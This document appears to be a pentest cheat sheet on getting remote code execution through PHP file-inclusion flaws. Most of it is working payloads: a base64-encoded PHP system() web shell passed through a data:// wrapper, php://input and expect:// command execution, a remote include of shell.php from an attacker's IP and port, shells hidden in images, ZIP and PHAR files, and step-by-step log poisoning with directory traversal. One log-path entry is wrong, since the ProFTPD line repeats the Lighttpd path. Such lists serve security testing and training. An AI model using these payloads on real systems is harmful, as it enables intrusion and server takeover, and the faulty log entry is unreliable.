Introduction¶
Remote Code Execution (RCE) is a vulnerability that enables an attacker to execute arbitrary commands on a remote system. This exploit allows the attacker to manipulate or access data, disrupt system operations, or gain elevated privileges.
Remote Code Execution (RCE) Techniques¶
-
Data Wrapper: Executes commands encoded directly in the URL.
/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==&cmd=id
-
Input Wrapper: Runs commands from data sent in a web request.
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://[DOMAIN_NAME]/index.php?language=php://input&cmd=whoami"
-
Expect Wrapper: Executes commands using the Expect PHP wrapper.
curl -s "http://[DOMAIN_NAME]/index.php?language=expect://id"
-
Remote PHP Shell: Uses a remote PHP script to execute commands.
/index.php?language=http://[IP-ADDRESS]:[LISTENING-PORT]/shell.php&cmd=id
-
Malicious Image Upload: Executes code hidden within an image file.
/index.php?language=./profile_images/shell.gif&cmd=id
-
Malicious ZIP Upload: Runs PHP code hidden inside a ZIP file.
/index.php?language=zip://shell.zip#shell.php&cmd=id
-
Malicious PHAR Upload: Executes code from a PHP archive disguised as an image file.
/index.php?language=phar://./profile_images/shell.jpg/shell.txt&cmd=id
Target Logs for RCE Poisoning¶
Logs vulnerable to RCE poisoning often include user inputs or error information:
- Access Logs:
/var/log/apache2/access.log
,/var/log/httpd-access.log
- Error Logs:
/var/log/apache2/error.log
,/var/log/apache/error.log
- Logs to Tracks authentication attempts.
/var/log/auth.log
- Logs security details, used in systems with SELinux.
/var/log/secure
- Logs For web applications.
/var/www/logs/access_log
- Logs for Webmin tool.
/var/webmin/miniserv.log
- Logs from Lighttpd web server.
/var/log/lighttpd/access.log
- Logs from ProFTPD server.
/var/log/lighttpd/access.log
-
Step-by-Step: RCE via Log Poisoning¶
-
Inject the Payload: This involves modifying the User-Agent string, other header fields, or the content of a request that you know will be logged.
<?php system($_GET['cmd']); ?>
. -
Exploit LFI Vulnerability: Use an existing Local File Inclusion (LFI) vulnerability to include the poisoned log file in a web page's execution path.
http://[DOMAIN_NAME]/index.php?file=../../../../var/log/apache2/access.log
-
Execute the Payload: Add a command to the URL as a parameter if the payload is designed to be executed via a GET request.
http://[RFI-URL]/vulnerable_page.php?file=../../../../var/log/apache2/access.log&cmd=whoami